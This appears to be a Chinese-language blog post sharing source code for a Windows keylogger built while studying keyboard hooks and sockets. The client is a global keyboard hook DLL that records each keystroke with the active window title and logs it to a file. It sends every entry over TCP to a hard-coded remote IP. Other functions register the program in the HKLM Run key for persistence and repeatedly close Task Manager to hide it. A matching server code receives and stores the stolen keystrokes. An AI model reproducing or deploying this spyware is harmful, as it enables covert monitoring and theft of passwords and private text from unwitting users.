前两天写了个监听用户键盘消息的程序,研究了下Hooks和Socket。虽然程序功能是简单的,但编写代码的过程中遇到的问题不少,解决的过程中收获也不少。
Hooks监听所有线程的消息需要编写dll,用来注入其他线程。
MyHookDLL.h
#include <windows.h>
#include <stdio.h>
#include <process.h>//线程操作
//#include <Winsock2.h>
#ifdef __cplusplus
#define EXPORT extern “C” __declspec(dllexport)
#else
#define EXPORT __declspec(dllexport)
#endif
EXPORT void SetHook();
EXPORT void ReleaseHook();
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
void TheadProc(PVOID pvoid);
MyHookDLL.cpp
#include “MyHookDLL.h”
static HHOOK MyHook = NULL;
TCHAR szBuf[MAX_PATH+20];
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
return TRUE;
}
EXPORT void SetHook()
{
if(!MyHook)
MyHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle(“MyHookDLL.dll”), 0);
}
EXPORT void ReleaseHook()
{
if(MyHook)
UnhookWindowsHookEx(MyHook);
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if(nCode < 0)// do not process message
return CallNextHookEx(MyHook, nCode, wParam, lParam);
if(lParam & 0x80000000)//lParam第31位为0的时候,表示按键正在被按下,为1的时候,表示按键正在被释放。此处释放的时候记录。
{
TCHAR szKeyName[20];
TCHAR szWindowText[MAX_PATH];
FILE* fp = NULL;
SYSTEMTIME systime;
ZeroMemory(szBuf, sizeof(szBuf));
ZeroMemory(szKeyName, sizeof(szKeyName));
ZeroMemory(szWindowText, sizeof(szWindowText));
ZeroMemory(&systime, sizeof(SYSTEMTIME));
GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));//取得按键名
if(!GetKeyState(20) && wParam != 20)//如果大小写锁定键未打开,且按键不是大小写锁定键。
lstrcat(szKeyName, TEXT(” Caps Unlock”));
HWND hWnd = GetActiveWindow();//GetFocus();取得活动窗口句柄
if(!GetWindowText(hWnd, szWindowText, sizeof(szWindowText)))//取得hWnd窗口名
lstrcpy(szWindowText, “Unkown”);
GetLocalTime(&systime);//取得系统时间
wsprintf(szBuf, “KEYBOARD – nCode: %d, VK: %d, KEY: %s, Window: %s, Time: %d-%d %d:%d:%d”, nCode, wParam, szKeyName, szWindowText, systime.wMonth, systime.wDay, systime.wHour, systime.wMinute, systime.wSecond);
if((fp = fopen(“C:\\Keyboard.txt”, “a”)) == NULL)
fp = fopen(“C:\\Keyboard.txt”, “w”);
if(fp)
{
fputs(szBuf, fp);
fputc(‘\r’, fp);
fputc(‘\n’, fp);
fclose(fp);
_beginthread(TheadProc, 0, NULL);
}
}
//MessageBox(NULL, szBuf, “MyHook”, MB_OK);
return CallNextHookEx(MyHook, nCode, wParam, lParam);
}
由于Socket阻塞运行,所以放到线程去运行比较好。
void TheadProc(PVOID pvoid)
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 0), &wsaData);//初始化dll中Scoket版本为2.0的例程
int sockfd;
/*
if(-1 == (sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)))//创建Socket
//MessageBox(NULL, TEXT(“Function: socket error!”), TEXT(“Error”), MB_OK | MB_ICONERROR);
{
WSACleanup();
return FALSE;
}
*/
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
//配置对方地址信息
sockaddr_in their_addr;
ZeroMemory(&their_addr, sizeof(sockaddr_in));
their_addr.sin_family = AF_INET;//IP地址家族
their_addr.sin_addr.S_un.S_addr = inet_addr(“193.168.1.103”);//IP地址
their_addr.sin_port = htons(3000);//端口
/*
if(-1 == connect(sockfd, (sockaddr *)&their_addr, sizeof(sockaddr_in)))
//MessageBox(NULL, TEXT(“Function: connect error!”), TEXT(“Error”), MB_OK | MB_ICONERROR);
{
closesocket(sockfd);
WSACleanup();
return FALSE;
}
*/
connect(sockfd, (sockaddr *)&their_addr, sizeof(sockaddr_in));
send(sockfd, szBuf, sizeof(szBuf), 0);
closesocket(sockfd);
WSACleanup();
_endthread();
}
MyHook.cpp中的主要函数
BOOL SetAutoRun(HWND hwnd) //开机自动运行
{
//得到程序本身路径
TCHAR sthPath[MAX_PATH];
GetModuleFileName(NULL, sthPath, MAX_PATH);
//MessageBox(NULL, sthPath, “path”, MB_OK);
TCHAR str[MAX_PATH];
HKEY hRegKey;
DWORD dwValue = 1;
BOOL bResult;
lstrcpy(str, “Software\\Microsoft\\Windows\\CurrentVersion\\Run”);
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, str, 0, KEY_ALL_ACCESS, &hRegKey) != ERROR_SUCCESS)
bResult = FALSE;
else
{
if(RegSetValueEx(hRegKey, str, 0, REG_SZ, (BYTE*)sthPath, strlen(sthPath) + 1) != ERROR_SUCCESS)
bResult = FALSE;
else
{
//MessageBox(NULL, “OK”, “”, MB_OK);
bResult = TRUE;
RegCloseKey(hRegKey);
}
}
return bResult;
}
void CALLBACK Killtaskmgr(HWND hwnd, UINT message, UINT iTimerID, DWORD dwTime)
{
HWND hwndTasken,hwndTaskcn;
hwndTasken=FindWindow(NULL, “Windows Task Manager”);
hwndTaskcn=FindWindow(NULL, “Windows 任务管理器”);
if(hwndTasken)
{
PostMessage(hwndTasken, WM_CLOSE, 0, 0);
Sleep(200);
}
if(hwndTaskcn)
{
PostMessage(hwndTaskcn, WM_CLOSE, 0, 0);
Sleep(200);
}
以上是客户端,下面贴下服务端主要代码。
//
// 函数: Listen(PVOID)
//
// 目的: 创建监听实体
//
// 注释:
//
// 在此函数中,我们通过Socket创建监听实体,
// 并将监听到的消息显示出来。
//
void Listen(PVOID pvoid)
{
fd_set fds; //需要监视改变的Socket集合
timeval timeout = {3, 0}; //异步处理延时3.0秒
int sockOld, sockNew, iSize = sizeof(sockaddr_in);
char szReport[512]; //接到的消息
int y = 0; //消息显示的初始Y值
FILE* fp = NULL;
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 0), &wsaData); //初始化dll中版本为2.0的Socket例程
char hostname[255]; //主机名
if(-1 == gethostname(hostname, sizeof(hostname)))
{
MessageBox(NULL, TEXT(“Fuction: gethostname() error!”), TEXT(“Error”), MB_OK | MB_ICONERROR);
return;
}
hostent* host = gethostbyname(hostname); //获取主机IP
TCHAR hostaddr[255];
MultiByteToWideChar(CP_ACP, 0, inet_ntoa(*((in_addr*)host->h_addr_list[1])), -1, hostaddr, 255); //字符集转换
//显示消息
static int cyChar;
TEXTMETRIC tm;
HDC hDC = GetDC((HWND)pvoid);
GetTextMetrics(hDC, &tm);
cyChar = tm.tmHeight + tm.tmExternalLeading; //字符高度
TextOut(hDC, 1, y++ * cyChar, hostaddr, lstrlen(hostaddr));
ReleaseDC((HWND)pvoid, hDC);
if(-1 == (sockOld = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))) //创建监听Socket
{
MessageBox(NULL, TEXT(“Fuction: socket() error!”), TEXT(“Error”), MB_OK | MB_ICONERROR);
WSACleanup();
return;
}
sockaddr_in my_addr, their_addr; //监听的本机地址信息和发送请求的对方地址信息
my_addr.sin_family = AF_INET;
my_addr.sin_addr.S_un = (*((in_addr*)host->h_addr_list[1])).S_un; //INADDR_ANY;时IP为0.0.0.0 .S_addr = inet_addr(“118.249.58.214”);
my_addr.sin_port = htons(3000);
memset(my_addr.sin_zero, 0, sizeof(my_addr.sin_zero));
if(-1 == bind(sockOld, (sockaddr*)&my_addr, iSize)) //绑定监听Socket和监听的本机地址信息
{
MessageBox(NULL, TEXT(“Fuction: bind() error!”), TEXT(“Error”), MB_OK | MB_ICONERROR);
closesocket(sockOld);
WSACleanup();
return;
}
if(-1 == listen(sockOld, 1)) //监听端口,并阻塞。
{
MessageBox(NULL, TEXT(“Fuction: listen() error!”), TEXT(“Error”), MB_OK | MB_ICONERROR);
closesocket(sockOld);
WSACleanup();
return;
}
while(1) //接受请求循环
{
//重置需监听的Socket结合,监听改变。
FD_ZERO(&fds);
FD_SET(sockOld, &fds);
switch(select(0, &fds, &fds, NULL, &timeout))
{
case -1:
case 0: break;
default:
if(FD_ISSET(sockOld, &fds)) //sockOld状态改变
{ //新连接
if(-1 == (sockNew = accept(sockOld, (sockaddr*)&their_addr, &iSize)))
{
MessageBox(NULL, TEXT(“Fuction: accept() error!”), TEXT(“Error”), MB_OK | MB_ICONERROR);
closesocket(sockOld);
WSACleanup();
return;
}
ZeroMemory(szReport, sizeof(szReport));
recv(sockNew, szReport, sizeof(szReport), 0);
TCHAR szBuf[512];
ZeroMemory(szBuf, sizeof(szBuf));
MultiByteToWideChar(CP_ACP, 0, szReport, -1, szBuf, 512); //字符集转换
//MessageBox(NULL, szBuf, TEXT(“Report”), MB_OK);
HDC hDC = GetDC((HWND)pvoid);
if(y > 30)
{
InvalidateRect((HWND)pvoid, NULL, TRUE);
y = 0;
}
TextOut(hDC, 1, y++ * cyChar, szBuf, lstrlen(szBuf));
ReleaseDC((HWND)pvoid, hDC);
//写文件
if((fp = fopen(“C:\\Listen.txt”, “a”)) == NULL)
fp = fopen(“C:\\Listen.txt”, “w”);
if(fp)
{
fputs(szReport, fp);
fputc(‘\r’, fp);
fputc(‘\n’, fp);
fclose(fp);
}
closesocket(sockNew);
}
}
}
//关闭Socket
closesocket(sockOld);
WSACleanup();
}